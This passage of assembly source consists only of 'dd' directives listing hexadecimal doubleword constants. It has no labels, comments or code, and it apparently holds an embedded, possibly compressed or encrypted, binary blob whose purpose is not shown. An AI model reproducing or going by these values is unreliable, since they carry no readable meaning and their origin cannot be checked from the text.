0DAFCC20Eh, 91FCB5D5h, 0EAF28C14h, 8100FB49h, 7A7EDCCBh dd 58CA764Bh, 0DFDF30D3h, 1A0907FAh, 809FA0C5h, 0F945A70Fh dd 1E40285h, 9505B3B6h, 30DE04F5h, 0A2E225BCh, 0C1F15729h dd 1BCCA000h, 0DC2E6Ch, 1021CA87h, 0BA936933h, 0FB1F3B0Ch dd 91205401h, 259D0DEFh, 0A7807F0Fh, 483282B7h, 0EA926931h dd 278197DBh, 20FEB642h, 0CF25DF02h, 59BD722h, 0A5C01617h dd 0C10C71EAh, 0CDF32A0Dh, 203FEE5Ah, 9F6C9A00h, 0C88E2773h dd 0F5D4DF05h, 76F4890Fh, 4DB72751h, 0C9095B5Ch, 0DF9C5729h dd 7AAEDD5Bh, 0F2480C81h, 18F7E6DDh, 6EF95A6Ch, 0C795134Dh dd 6FC11A04h, 20F5FD60h, 0DF92FB9Eh, 758827F2h, 9C44BF9Eh dd 9BD5BB1h, 0A5D7F0BDh, 0A1C1CF09h, 2EA2D7AFh, 25EDD98Ch dd 291F79E0h, 26F009AFh, 0C45D1914h, 77C70466h, 0BCB01335h dd 0BCEF4912h, 0BE1E5A2Dh, 0C0973525h, 91177999h, 0D7205F1Ah dd 0BAEB4A7h, 79BC2D8Bh dd 9116902h, 91153757h, 3FF7801Ah, 2739F5CBh, 24F5F203h dd 4CB135D4h, 0D032DA6Ah, 0F9BEC131h, 28D4A988h, 0BB50027Ch dd 37E91C1Eh, 0DBA06C50h, 9B775B44h, 0DEA75C9Dh, 4A37550Fh dd 0BC85E123h, 0C82FC691h, 1F03CF18h, 4969592Fh, 0A8688835h dd 0D09201A1h, 5FD98B53h, 578A8281h, 732F8C62h, 0E3F8705Fh dd 8929739Dh, 0BA5719CDh, 0A3466Eh, 6037BBA3h, 9F78A576h dd 473E6F00h, 0AAD27B67h, 3F40049Bh, 0E153E99Ah, 808E2CE3h dd 0C6C8CF36h, 8E2F02BEh, 0E204BF66h, 0A65871DDh, 0F36425ECh dd 0DC66F695h, 0D1327A00h, 0B73C4C85h, 0F96E955Fh, 4A31A121h dd 0A9572720h, 3FED7D08h, 5845E4C0h, 0A8EDB573h, 34601A64h dd 640083ECh, 2322D845h, 9702299Dh, 3E7BB832h, 171A50h dd 0B032B335h, 5660E938h, 68DD8FA2h, 24525E40h, 2796159h dd 2409A640h, 4D270954h, 6E77CB04h, 8F0F272Ah, 0BC60D4A5h dd 0A188D82Eh, 0FA61811Bh, 997DC986h, 97F18102h, 0D5638476h dd 64AFFB59h, 0E5769F54h, 0F0716463h, 5F0F2E23h, 0FA70EE8Ch dd 79019016h, 2FC702AAh, 649A5791h, 28F1DB5Dh, 0D192017h dd 0FA685B00h, 8AC63D1Dh, 0BC092FEh, 39E1E605h, 1B895A37h dd 5BE25558h, 60FEEFDFh, 658F98B0h, 0C6EAAE05h, 33C1F448h dd 0A67E29F1h, 1A5B072Dh, 7FB0FF31h, 25141B54h, 4FFE273Ch dd 0C9D38040h, 40189490h, 261BDE69h, 4F431D02h, 0C9571041h dd 4A685F93h, 1256BB05h, 16EAA90h, 0D611EE03h, 0E40BD03Fh dd 7412B9BDh, 1A46DE8Ah, 8D83EC39h, 0BEBFA67Fh, 0FEFBB42Dh dd 490DE06Ah, 614C3927h, 4E3D3948h, 4F6A7AAFh, 56D04160h dd 0A5EF0080h, 8D01F95Bh, 0C7950EB5h, 0F74512D6h, 3B11B087h dd 1264F8CCh, 0ABD87714h, 0E000325h, 0DEDAA05Ah, 0FFDC0586h dd 0A091A8CCh, 0A52DC710h, 294715Fh, 3271BD23h, 181D5937h dd 6AED0367h, 0B4AC1034h, 6E9619F1h, 960E631h, 81028460h dd 1D207E61h, 2999E7Ch, 0BBFAEB43h, 795D3D8Ch, 6A8D9C78h dd 0F07C9DA0h, 972E8550h, 4F487D4h, 72DE6E36h, 0F1E6A057h dd 575FB02Dh, 8B08A01Eh, 5308B19Dh, 2EAEF1C5h, 5FF84C72h dd 3876FD90h, 0FC2CF1FDh, 9600E20Dh, 0ACBC2AA2h, 27436640h dd 0FA5EB54Eh, 0DDFAE9CEh, 9DBBA730h, 2AAEAF51h, 0EAA917FFh dd 61603131h, 963EFE79h, 2F26819Ch, 6D000953h, 3847B9EEh dd 691400B6h, 7DE3717Eh, 414C9603h, 3280C0FEh, 0F014CFh dd 75DEFB95h, 5B7D2A0Dh, 27216EB5h, 8A743381h, 0D41A565Ah dd 427D7013h, 5155A04h, 0FDF6500Bh, 0DAEE5BE4h, 0EFB6D758h dd 616B3E01h, 7C6AB748h, 380D8023h, 4D4BF5Ch, 0F855A615h dd 0D061BC5Fh, 0F71913BFh, 0C029DFABh, 152E5705h, 78EF7478h dd 919F48DDh, 20B9851Ch, 7D8D891Eh, 123A776Dh, 372D555Ch dd 0C9B204CCh, 81CCC2B9h, 94970D5h, 28D59D09h, 0D2E95649h dd 7CA24E77h, 2AD92529h, 54A539E5h, 6AE3D4E1h, 3026EC8h dd 7665A709h, 50405F90h, 9249BCB3h, 0DF808233h, 2135FF55h dd 16801D91h, 280A42F3h, 8FCA7D05h, 0B893D907h, 0CBC5D522h dd 0C1C79BAFh, 11EB8075h, 64265B49h, 0A9710B27h, 0F8B2602Dh dd 39739510h, 37181759h, 0CB707A2Eh, 2DD2D427h, 64C52A59h dd 9EECF1A9h, 9D29C005h, 60011905h, 96DFE9C7h, 0C1699E40h dd 5B73C50h, 0D4BCC849h, 0CB253D12h, 2A1E20AFh, 530182F5h dd 967DDCCCh, 6C894D4Bh, 41B898E6h, 0D19DB70Fh, 0D60E4AEAh dd 4255DCBDh, 5422AFAh, 36BC8FF5h, 1ABC2DBDh, 83760B8Ch dd 95DFDB6h, 13B5D449h, 4BB1ECC7h, 5E61FE09h, 0D78ED620h dd 0F8396D13h, 7D96E430h, 0E8A00018h, 298EF69Dh, 624BF988h dd 6F35FB8Ah, 8D9BBE30h, 94BFC0DDh, 67B5A9B2h, 0A846792Ch dd 0D548431Ah, 0AC968494h, 9D1604D4h, 0E9C63DB3h, 4B26E869h dd 4CD98B47h, 0E9ACC002h, 3AB1250h, 5B0B60C2h, 0A5D21EB7h dd 9584E35Ch, 0BE651621h, 0B25BEB6Ah, 57F58972h, 0EB00FFC4h dd 0E784F04h, 0B4C5E905h, 0C2D4013Fh, 0C8BF688Bh, 6D009A59h dd 0D730231Eh, 63F0CFh, 9C477E82h, 0C5DF3E25h, 8C79FA00h dd 7CA94A77h, 0C61D0028h, 72E1DC29h, 0CB006389h, 0C58402BFh dd 30DB4130h, 5F55D5DEh, 1DEC198Dh, 0E2C39407h, 0A0EEA498h dd 7D2C90F4h, 0DB180727h, 50ECD92Ah, 0E56964B1h, 0D0E13412h dd 0FF0E1200h, 187D8875h, 495632BAh, 8D03E1D9h, 0AC99EA63h dd 814EE0B7h, 8BFF3077h, 2E261C23h, 2D0F5A60h, 3B10820Eh dd 0AF03683Ah, 1885574Bh, 625FA880h, 46BA9E0Eh, 0F77080F2h dd 370E16h, 77139B25h, 0F83C6BF9h, 0EC648200h, 872FE43Dh dd 4419C0C3h, 0C7B61A7Eh, 1680BF3Ch, 0BF00344Dh, 1F5C0D4h dd 0A8C803CDh, 6B1F971Dh, 86FC350Fh, 4BD521A2h, 1780A723h dd 15E2DF26h, 0A102032Dh, 9EA9FF24h, 56518345h, 0F2B7D37h dd 467B806Dh, 0EB0690D5h, 21B1D559h, 4CC360Ch, 7C70F40h dd 42EB55F3h, 6F32A1D5h, 0FD21249Eh, 0CA071014h, 18D94496h dd 65592D00h, 30AFBD01h, 8AD60032h, 2FD933B2h, 0C85025A7h dd 637BE1A8h, 89506D28h, 0F8DCEB00h, 0D359544Eh, 2944D941h dd 538DC2Eh, 4C582101h, 0C465D771h, 0ED32D8C7h, 2410B501h dd 75014850h, 0AAA34D81h, 3AFDB55Bh, 0A01F47D8h, 567D6CFh dd 0CA3B2110h, 0E5C620BFh, 0E13D0CDEh, 62CB0092h, 7F53271Eh dd 65ED001Bh, 43803F2Dh, 0F2999CAh, 28A898C2h, 0ABA24C07h dd 19FB65Ch, 0AAF24BA5h, 679A4DCh, 440E421h, 8B02C627h dd 32B553B7h, 6EEB80D5h, 7333BD96h, 288064C2h, 0B499201Dh dd 76A7036Ch, 0B0D41C21h, 371D39h, 8A262A34h, 0E82789h dd 24F966F4h, 4931B03Bh, 91E95000h, 0DD8C84A2h, 156A00CAh dd 7857A128h, 5C00B094h, 0F9F40EE8h, 350810h, 4E3DA22Eh dd 0A68C5E7Ah, 84F845EAh, 0C26C4000h, 0BF033E4Bh, 78C324CEh dd 887F18B7h, 0CF022317h, 0D3D2C67Bh, 2D06239h, 209B29C7h dd 0D6DC1C43h, 0FAD9F000h, 0E196CF08h, 9E752Eh, 0DE3D23CDh dd 2F266EDAh, 33675B28h, 533A8E00h, 0D6870B46h, 9F000CDh dd 147CC0FFh, 0F3008F1Eh, 0E70C9993h, 48B1A29Dh, 8D000954h dd 1A6AC6DCh, 355451D5h, 0C6D2BA97h, 8B291670h, 5786127Ah dd 456400F3h, 17D7B33Bh, 625832C0h, 0C9633DC4h, 2A13DBC7h dd 172E72A8h, 1803A348h, 6465E3E7h, 0F0761Eh, 0B12E3C0Bh dd 0A8717773h, 31DF0C00h, 119CC4D9h, 41A008Bh, 6B83493Dh dd 3CC9191Fh, 98150090h, 0FA506FB5h, 0D7DE0E75h, 0AF8C16FAh dd 0E6032E61h, 67B21BEFh, 0D054B06Ah, 3B1DC0B4h, 0AE3F79C7h dd 6E24DC01h, 0F084A55Fh, 20ADD892h, 0D3DE4B8Ch, 0A30AFE00h dd 6A977B56h, 769F002Eh, 91CD162Bh, 0EA02700Bh, 9EFC7742h dd 585360BDh, 22A600CEh, 0A53A60C0h, 5F3AB35Dh, 4BA880EEh dd 887C495Ah, 232A6058h, 23C8C51Fh, 78FBD603h, 0CCDA7A8Fh dd 45C906D0h, 0E89001h, 26AAA7F0h, 25AF3E78h, 9EA3F801h dd 0D538D62Ah, 39144A80h, 63921EC5h, 5D07FEECh, 9D204F8Dh dd 0A3E76B30h, 729B0385h, 5F2C35A2h, 0B900E99Eh, 36211EBDh dd 4B77B3h, 207C40EEh, 3C5DD11Bh, 0DCDA4260h, 9AEDA52h dd 213A6192h, 7FD04880h, 3B001F2Ah, 359DE657h, 486DD1ECh dd 0C10F8F29h, 274299B4h, 2140ADF6h, 0CF003EE8h, 523B8FBAh dd 26860A47h, 14D4C4D7h, 7D00F714h, 9F048183h, 0AD01BF8Ah dd 0E8063B40h, 0BB24FD0Fh dd 0E30D1841h, 2C367C79h, 6EB4F94Bh, 0C6F0207h, 5541E577h dd 0E0DAF4A2h, 0A24C036Ch, 5625023Dh, 0C03DED16h, 7EBF585Ah dd 0D23603B7h, 7BB0E408h, 0D82B3D00h, 31152074h, 34383F17h dd 441FD435h, 0FD21D0BDh, 0CE3F0CB1h, 4C7DCC6h, 0D6F3329h dd 2164C076h, 0BD3F9F05h, 0AFFF84AEh, 0FAC0B7B5h, 3EC7EC2h dd 2CDAF901h, 7AA8D421h, 4D00788Dh, 58EE209Fh, 0E29C45A6h dd 2441B072h, 381A9409h, 2CD5D000h, 2975EEDBh, 22C85300h dd 70B7FB8Ah, 0F8743944h, 0F77103Fh, 4FA39730h, 340112C0h dd 0DF00D540h, 7F0498CEh, 0F6224EEDh, 0F6C31FD4h, 0C6310F02h dd 610B25A0h, 141EBCCDh, 3FC04E60h, 184D39ADh, 0C22E0640h dd 0F1C68F8h, 0E7749300h, 0DB61C5BDh, 0BB4400B8h, 0B331E4A3h dd 0F613EA9Ah, 900976Dh, 9582764Bh, 0EDA31EC7h, 0DD3100DAh dd 0FC116B33h, 0C5F248E5h, 0B5078128h, 8021463Ch, 83A27CA3h dd 59425B34h, 0C0600A7Fh, 84B20879h, 85BD39h, 0AF1760C9h dd 75B45Ah, 0FC523705h, 0E5D9AD81h, 27D6DCE9h, 57BAD476h dd 3A640810h, 0F0051275h, 164C0050h, 0E46D82A2h, 69397900h dd 384DB233h, 92D6780Dh, 66BC0073h, 4A4EEB5Fh, 412652BBh dd 0CA003374h, 45A526A2h, 51A90C35h, 7A0FF591h, 0D03E6E0h dd 0D84C97E0h, 231900ACh, 0D4AEF004h, 41F4C83Eh, 26996D12h dd 844E4590h, 0D4DE009Ch, 57A009FDh, 2700967Ah, 0AB12E6D1h dd 69B6F52h, 63D7EE32h, 20199BAh, 8871C5FCh, 0DD84079h dd 0E43DB0FAh, 0E2890652h, 6304C281h, 4EA833Bh, 5C241487h dd 37689FE0h, 8D1E2FF2h, 1F63E018h, 0F0C11CFh, 16972251h dd 0D36310h, 4C48312h, 88C18149h, 48DC5D1Dh, 6B14F180h dd 6895FFCh, 0FD6859CAh, 2471491Ch, 452015BEh, 0EC685978h dd 8F833D0Eh, 64FF0841h, 22C42096h, 8957018Bh, 44C7F1E7h dd 8706210Ch, 0E9D6803Ch, 0FFFB5A6Eh, 75CC011Ah, 0B80FA743h dd 610FC49h, 0EC5033Fh, 0BC92E0h, 0A9983717h, 0CFB10009h dd 6FC31A80h, 700712FEh, 385244D2h, 297B5BD0h, 6DC403C8h dd 20CC1602h, 652D4ED8h, 3CE68CEAh, 0B700B97Ah, 0E035F14Ch dd 17A163Eh, 1AA10A8Ah, 0DDF647C4h, 87F5EA79h, 27005536h dd 397C69EBh, 0CC5AD245h, 0BB176612h, 88AF7F1Dh, 0E81CB1E8h dd 44403174h, 0FB370CBFh, 0F6D90230h, 905071E2h, 73DC0176h dd 29D4BDB8h, 0E99340DEh, 0A76F2D41h, 30D1652h, 0C0889EBAh dd 2798D8EBh, 0D12B059Dh, 0F4BD317Ch, 845B0F21h, 0A2414EB6h dd 801027ECh, 232DF781h, 383E6332h, 50408990h, 7EF8BF7Fh dd 44F767Ah, 54F0B4B6h, 680042D9h, 86C80F5Ch, 27099816h dd 0F644D19Dh, 4BCB8017h, 0EB4A5DA2h, 2A611CCh, 66D2FF42h dd 0A7D2B64Dh, 11C6902Fh, 28C026B8h, 99B70BB3h, 30F7D9BAh dd 0B98B0FC7h, 819E3E65h, 16615CCFh, 0B220B616h, 1C103018h dd 6F880F0Ah, 6109F89h, 1C56BD72h, 1AECFF93h, 9CF5FD25h dd 537F65B8h, 68A1AC60h, 0E200CF45h, 6A6197EBh, 0DC8FB602h dd 34EB6517h, 0B61649A8h, 0A735B8BAh, 121D6187h, 0B1EC5FBh dd 11A29093h, 0EA52AA4Eh, 23DD6BEFh, 562C0015h, 0C0F5D5BBh dd 0CF075975h, 0E963E567h, 641CF7EBh, 4B581948h, 0C5BCB5B9h dd 0DA927BDh, 0E776D6F9h, 0AA716531h, 0F900BFF2h, 4402BB50h dd 7CF54BD2h, 57788076h, 32C32Bh, 0D42942A0h, 525CDD6Fh dd 0AC372704h, 73EB79ADh, 1FD29591h, 0EB810216h, 75D5EEDFh dd 51045BD7h, 5323617h, 7D573ABDh, 2D63A2EEh, 7540406Ah dd 0B5BA832Eh, 16225455h, 221EB6F5h, 40C39D09h, 0FEB08B2Dh dd 0B1B90B7h, 0D05170E6h, 1E409D43h, 0B790D781h, 6B299D2Dh dd 0BD20E417h, 0D4950809h, 963853D8h, 35FECF15h, 0BD30FE09h dd 778E1Ch, 0E4293222h, 1C18BB5h, 16BEBD4Fh, 8FB1F88Ch dd 2BC1904Dh, 0F5F88AC8h, 0E9DCD0D1h, 95F9C65h, 0D0BCF413h dd 6A818D8Dh, 47550903h, 19502F49h, 2E183209h, 85014E53h dd 3693A573h, 126B9FBEh, 76F21Bh, 0ACCBB840h, 0F295E1h dd 0F0116048h, 5EA9CDE8h, 0E4C3850Dh, 88A73677h, 0FBDF5DE2h dd 0B35F2D50h, 0D18C11B6h, 539220Ah, 29A597BBh, 5A38B85Dh dd 4A8A368Ch, 372EBFEh, 1A627F29h, 0A22F1475h, 507D004Eh dd 69EDBD0Bh, 4C5D280Dh, 9EEE2003h, 9557190h, 9CB96FA2h dd 0B00509BCh, 0C5AA3CE9h, 0DC6FC55Eh, 74F65A4Dh, 0BDF601D4h dd 0AAEEEC51h, 7A0C73AFh, 0FCFB8300h, 44C48616h, 0C0640EA0h dd 249ED430h, 48B909F9h, 0B1D6442Eh, 87DC6F31h, 2F2941FDh dd 97B820A9h, 7F0F690Eh, 0FF0B4288h, 95B64056h, 2B5F8031h dd 79DBC05Bh, 378F7A83h, 0D22B52F8h, 67C8B72Dh, 0D98B8B45h dd 0A17017D3h, 2FD54D54h, 50A01B20h, 569717B9h, 260C60BDh dd 71483D08h, 6C02D38Fh, 0DF5FD459h, 0A9C620B8h, 0D92A410Fh dd 880DE4C8h, 82549FEAh, 0F7899509h, 60893753h, 2B10F503h dd 0BAB561FCh, 0D4597437h, 0B6B0101Eh, 0B1E4F581h, 0E23E6CF2h dd 8C17EC2Ch, 0E3A9680Bh, 2D9C82B5h, 0E7F37529h, 1D556E78h dd 6D5AA921h, 4E0038E4h, 0F4FF140Ch, 456C999h, 31297950h dd 0F3C8AAACh, 0D8C20073h, 0C9469A69h, 0B4006FF5h, 0FAACEE16h dd 534952D6h, 2700FA5Fh, 0C024B893h, 800A1F0h, 0E87602Eh dd 0B7CBA3Ah, 79723574h, 4A459C59h, 4FB7BFAh, 972FFD8Dh dd 85A9D8FBh, 8C6E2E41h, 9D172B3Fh, 9DBA1871h, 34820C5h dd 7320E189h, 59D69769h, 65179971h, 0CB34E886h, 2134F7FAh dd 14B5DC92h, 4582F1Dh, 9BD0EF5Bh, 45095E9h, 0E9ADD84Fh dd 0E055F64Ah, 75E091CEh, 91A0293h, 6BB3D0AFh, 3A2B0CD6h dd 0B1F42C79h, 4F712592h, 201E1h, 0B8F28B60h, 81B573C0h dd 144B6B61h, 744FDDB4h, 8B33CA40h, 32D49570h, 1FADBD04h dd 8505A2AEh, 0F6AA2729h, 0E1B45A22h, 108BB5ACh, 40C56F77h dd 0E073CAE9h, 57A2A517h, 0DF902A30h, 0A4A002Ch, 5A78EAA0h dd 22938A0Fh, 0D9609089h, 4B991ED1h, 3C80DF31h, 0CF0F3969h dd 712F0B27h, 305992AFh, 601D85EAh, 83AE9C1Ch, 0D2925880h dd 9FEFE4BBh, 5A4F26C0h, 4A7D8BDh, 53F8A983h, 0E040E690h dd 5AD4FDFh, 0AECF6CAAh, 0DD20EFACh, 7D86438h, 52AB022Bh dd 64F2C68Ch, 0D6BF0F27h, 3FB40FF2h, 0F11BE0D2h, 0EAA35297h dd 54DF254Fh, 0F572257Bh, 0DEA75AFBh, 32B9E231h, 0AC9453DFh dd 67714017h, 0D200EC75h, 0A6FE6645h, 1303BD08h, 0ACB4DA56h dd 1E00AA72h, 0A485B9CCh, 635A3BAEh, 0C9736CACh, 7D2BD587h dd 7570B073h, 2FF44938h, 8520BED2h, 7ECAA2h, 7B0C436Ch dd 152A55C1h, 665FF52Dh, 0B59181AEh, 2E5151F2h, 0B5752557h dd 53312502h, 3DC420A2h, 0C5FFBB05h, 0B9AC0E2Dh, 0BFD453CBh dd 5F241610h, 45AD3854h, 2691B575h, 36DDE00Ch, 661FE190h dd 8992B3BBh, 1B76FBBh, 7C1CAF05h, 4EC46FF6h, 60480B29h dd 485D8501h, 40C9B5F3h, 0D6BF6102h, 0ACDBC5AEh, 29DB4BCBh dd 0A8CA1C81h, 0D94A800Fh, 70BE6096h, 1D9103C9h, 880CFCBAh dd 5A50763Fh, 908234DBh, 0FB8B01B9h, 459DA952h, 1E115068h dd 2E684600h, 0F8EA379h, 27119989h, 0EE8A4530h, 0D11D0299h dd 5C717BC9h, 67F3407Bh, 0E20B0997h, 0D7858D3Ah, 2362CF4Fh dd 359D702h, 63CAF900h, 0ED8A601Eh, 0AB86D4B5h, 6528F6C2h dd 31702F17h, 0BD612140h, 45AD0179h, 152EB10Ch, 0EA386A2Ah dd 0CA4FBF5Bh, 408C9060h dd 0C9280206h, 10E9D0D7h, 453C5220h, 0F1CD0020h, 0A03EDEC2h dd 0F509C71Eh, 0C469D01Dh, 18CA12Bh, 37C6EEh, 0D20927C4h dd 46747780h, 0ADF2F339h, 91B155D1h, 27B82B5Fh, 3FBD96EBh dd 5EA11857h, 68D343Fh, 0C9B171B7h, 238725F6h, 0F7CA259Dh dd 0DEFF8B7Ah, 0A113F4FFh, 0DBB34948h, 978B301h, 3A0BBD85h dd 0A65E20CBh, 63DBA05Dh, 0BC7B12F9h, 6271FE8Fh, 9C7A202Dh dd 0EF5FB34Eh, 25D4DAADh, 481440DFh, 0E3DEC142h, 271E8000h dd 0B966D633h, 5A06178Dh, 5BCDB050h, 3AB66176h, 3612574Bh dd 4041674Fh, 0C83B682Eh, 0CB006951h, 0CC179BEFh, 708C0h dd 2415178h, 297E70D9h, 95DD44B5h, 0DE95DFD0h, 6C27F671h dd 0CEBBD4B2h, 0DAFD0071h, 4E98B989h, 517B0AFCh, 16842362h dd 0BB7D02D8h, 7377ED4Dh, 2384F80Eh, 0DE3B9B01h, 319EA435h dd 68965C9Ch, 429B5B9h, 0E0EAED7Fh, 0D151686Dh, 20C92A5Ah dd 0B96EB97Eh, 0B0ACC02Eh, 5099D71h, 7540BD5Fh, 93E42A6Fh dd 0A8D520BEh, 0DE00181Bh, 8ACBAEF4h, 0B520BA96h, 0E6D73E89h dd 0A1BD1615h, 338DFE15h, 0C018F83Fh, 0BD23901Ah, 1825E711h dd 2733AC2Bh, 0B975BB7h, 38776CB3h, 40BDF3B6h, 9D13BB13h dd 65BFAB6Dh, 2AE4C856h, 391E3A0Eh, 60A28E66h, 3790FC5Dh dd 6B5B5E9Fh, 161423C6h, 95F60E1Eh, 0BB500110h, 7F79D49Ch dd 0E9EEAD6Fh, 0CE81C729h, 7F7EA68Ch, 9FB9C480h, 0BA61038Eh dd 697135DDh, 0D019ADB5h, 0BB8FC32h, 5738C6DAh, 0FD7DC275h dd 5425716Dh, 8C12DC7Ah, 730662Ah, 626FD3h, 1BFD2161h dd 0D7809B1Fh, 965B3E09h, 0EFB30752h, 0E69008EBh, 22C4F56Bh dd 13985F97h, 8601BCBBh, 965F3692h, 0CA3AF98Bh, 0D4E4A028h dd 275AB0B8h, 255B2B39h, 0E1181979h, 9E4D5E09h, 6935DCF8h dd 0F5DA9DDCh, 6BD98739h, 1823076Bh, 450CDE2Dh, 0A2F9A8F5h dd 0D381206Eh, 312D6433h, 64D54D63h, 385B6019h, 0AA027EAh dd 0D5200E50h, 0EDFAC629h, 0CE1CDC1Fh, 5527C661h, 26009E37h dd 0E9958EEAh, 6043262Fh, 0A19274Ah, 0D62F30CFh, 0CF4B79B7h dd 14D789CBh, 3B4D007Bh, 0B760FE18h, 0C400ABBCh, 0D2DC6B4Bh dd 0B05A595h, 0E6E9D797h, 70B70558h, 4ABF7339h, 7C9A20Dh dd 0CE7F25A9h, 66178B90h, 3F75BAh, 36DBF5Bh, 0C3815829h dd 0CCBD60E8h, 93B200B5h, 2654DC95h, 58751040h, 0DF6968F4h dd 207850A9h, 61042AA1h, 49BD3159h, 33FF69D1h, 8AFF62Fh dd 32A985h, 81F38B58h, 711EB8F0h, 7D2D5FD9h, 0C080D72Fh dd 7E0D3A5Bh, 6158DC95h, 401779BDh, 477B1112h, 0BE660402h dd 75504AEBh, 8F0974F1h, 18721803h, 0E815776Ch, 4E31005Bh dd 0ACF4A49Bh, 8102F058h, 484694EBh, 0DD6055Ah, 0FC139088h dd 0D31880EEh, 85DC7DF6h, 0FEF1B58Fh, 3F0AE200h, 0EDDA999h dd 0CC211CEBh, 76435340h, 3B012C22h, 0DBEF8312h, 3FC0A5EDh dd 89D66F5h, 2B032166h, 4A89EF8Bh, 72103AD8h, 1B13007Eh dd 7693E8FFh, 910EA5F0h, 4027212Dh, 0E99958D3h, 22D70F1Bh dd 0E363EFC1h, 211B1DA1h, 2348892Eh, 43E5D88h, 95EDD5EFh dd 35201C62h, 33EF91h, 0BFC052E4h, 0A51B175Eh, 0C8217760h dd 663E356h, 241CD8E8h, 723A1968h, 4AD00CB8h, 0C211DEh dd 58D27C4Bh, 0A1761EA8h, 301F603Ah, 539B21CDh, 59EC037Ch dd 0C8AC712Bh, 4C73B800h, 0DC6F24E1h, 303B7546h, 22302F3Ah dd 0B700D50Ch, 16EEA587h, 0CCFEADDEh, 6E211108h, 0D3B7ED07h dd 2380C492h, 0A0075991h, 14B2A490h, 0E35C3036h, 0C33D6900h dd 89046308h, 0E34EE4FDh, 0F1EBAE00h, 6DF83498h, 0A6A900D2h dd 1D8B9BF9h, 1E0038EFh, 0E48AFD84h, 0B209Ah, 513CBBD9h dd 1D1AD659h, 4B64CB02h, 0E0941C78h, 0D02B3Ch, 205DB5D9h dd 0BFDBCCD5h, 0EB0E1800h, 329D7E74h, 7D620099h, 0F1B0753Ch dd 770036BCh, 9E2C6957h, 0FC2CEDEh, 0E4F685BEh, 679D8C20h dd 6EF832E6h, 5700957Ah, 124FBC5Ah, 60E39Bh, 0E79FC1A1h dd 0A2C63F27h, 96053Ah, 63F52DF7h, 0E81C9335h, 14291C8Ah dd 0A1307A8Bh, 357BD621h, 64D76F00h, 0D457854Eh, 156A004Fh dd 10A45A0Ch, 22009972h, 0D5680F8Bh, 30E9B394h, 8340C50Dh dd 0CE3A7C95h, 0CD10602Ah, 3510BE3h, 0EBAA39A4h, 830C9ACh dd 0DBE721D2h, 0E2CAE60Bh, 28E500D8h, 516D6463h, 0EA1CC9F0h dd 0EF434A27h, 67CC9EDDh, 414D38A0h, 80F2EEDBh, 568F9711h dd 0CBA6F65h, 0EA74CAE9h, 21C09B08h, 0E85697A9h, 792760CCh dd 913ABE28h, 0C466DA06h, 3C92938h, 18C7DC77h, 10029F69h dd 0EBD91487h, 0FEA480B6h, 0C0996058h, 0CA071E98h, 52079A39h dd 16461CCBh, 41E0D177h, 3FEF8h, 58679815h, 91BA8C4h, 1A3CBF00h dd 46BBF251h, 0E0C11D4Fh, 56F04796h, 0C77CD09Ah, 15005EA4h dd 11FE6D5Bh, 74065FCFh, 0E8F0F507h, 0FCD207A9h, 23315270h dd 8308389h, 0B04A21FFh, 0B6F00ED2h, 57408248h, 8E843FC7h dd 19B3700h, 592D7B2Ah, 1F9F0045h, 12670A5Bh, 18608C6Fh dd 0E8440840h, 0C2F50EB5h, 9FE6D30Fh, 0CF0C2817h, 6918D216h dd 404CAD2Eh, 43615AD1h, 0C0532F0Fh, 0C0B90F38h, 0C609EF86h dd 8513093h, 0A0914930h, 0A5901467h, 0CAE6A187h, 0ACEF00A1h dd 59442113h, 4C330FB2h, 0E80851h, 13A48C21h, 6291D62Ch dd 236E3B00h, 0FDCBF32Eh, 0B461C367h, 4ED8B0E7h, 16187A3Dh dd 2AA90FD9h, 7C910309h, 6CFD7F22h, 8051313Dh, 9931CC64h dd 1C286CBh, 40F1EFEDh, 801B266Fh, 0A59ACF78h, 7DE4CCCh dd 0F7E5AC76h, 0F2733D6h, 823C2100h, 16C7EFCBh, 0ABB60011h dd 9C7E3BEBh, 0F606391Dh, 0CCF3641Ah, 7C8552D8h, 0C30EBE2h dd 52DC03EEh, 0A8E30484h, 0F6D81D83h, 3A040F86h, 0C9C78F55h dd 1870883h, 0D1703E09h, 20C691C0h, 16407504h, 0B9196024h dd 99E1B45Dh, 2C49F303h, 0E8A68242h, 0F6DBE314h, 59D4244Ah dd 80A41108h, 70E9D2B4h, 0E0448CBAh, 0D2BF0349h, 44A2A3Fh dd 9FC09189h, 0B3C062C9h, 769AF882h, 0FC940688h, 21A88D6Fh dd 0C580E209h, 0DB5001FDh, 0D1FCCF48h, 203C5896h, 6590B032h dd 0A860A004h, 7021FDD2h, 0B34DC05Ah, 640EF5D2h, 230FDF8Fh dd 0A8536D08h, 283D3CC1h, 1D0C354h, 9BE59489h, 0D5164546h dd 0F34180F9h, 74EDC71Eh, 98594831h, 0A0131715h, 82D9BF00h dd 44DB752Ch, 200E8F30h, 18CD8878h, 380FFFDAh, 6E400D11h dd 79D30342h, 68E502CFh, 6EF790Fh, 9CC67CD5h, 48E82E0Eh dd 5301B6CEh, 1B5CEDFFh, 78408B3Fh, 58008C98h, 4AB200BBh dd 639765FCh, 0DC911E9Bh, 0D918FED1h, 6724AC03h, 0F41FB929h dd 78C88h, 0B15AA58Eh, 55BD7E4Ah, 53CC8000h, 9AAF0ADEh dd 0E6DC303Dh, 0CE4C2AC0h, 0ACCF3003h, 10C6DBABh, 3DEB6A8h dd 0FDBA0BF8h, 0BE590253h, 0D9AB0A3Eh, 0D11162E0h, 18E24F3Ah dd 93200BBDh, 120D0036h, 0FB57E1CEh, 6D00A6FEh, 68F10941h dd 0F0EA95Dh, 34ED9CC1h, 0F823803Bh, 0D2B201A2h, 18AA70EBh dd 0BD4788FBh, 0C1CCD204h, 9C80D635h, 0C3B74440h, 0E0E5CE58h dd 0B58806F4h, 4480A730h, 0E7F060E4h, 1E71032Ch, 50884CAFh dd 673513B0h, 0F0690F62h, 948C08FFh, 0E5B8645Eh, 190A008Ch dd 5D7DA7DCh, 5C01841Dh, 15C6D73Eh, 60A9E975h, 60CCD398h dd 12456220h, 1060980h, 37D5FC8h, 0E470201Ch, 0FE59981Fh dd 0D63FF02Ah, 0DC92F3E0h, 8F22CB3Eh, 85A44Bh, 0A3B23825h dd 157F070Ah dd 0E25E553Fh, 7A6044EDh, 9D3993C1h, 0AE608094h, 5D88F02Eh dd 0F2560F1Fh, 2723302Fh, 0B8A894DFh, 0AB001C35h, 481E269Fh dd 957A851h, 9E4C9A2Dh, 5A19EA80h, 0B3033E52h, 0E942DDD1h dd 0A72DC0A6h, 18E8F1DCh, 6C214C62h, 295B1875h, 8ABE189Ch dd 3970D8F6h, 10FBD628h, 20AFD920h, 78069FDEh, 0D32F9E9Ch dd 543E1F11h, 40598067h, 5851DBC4h, 212808CCh, 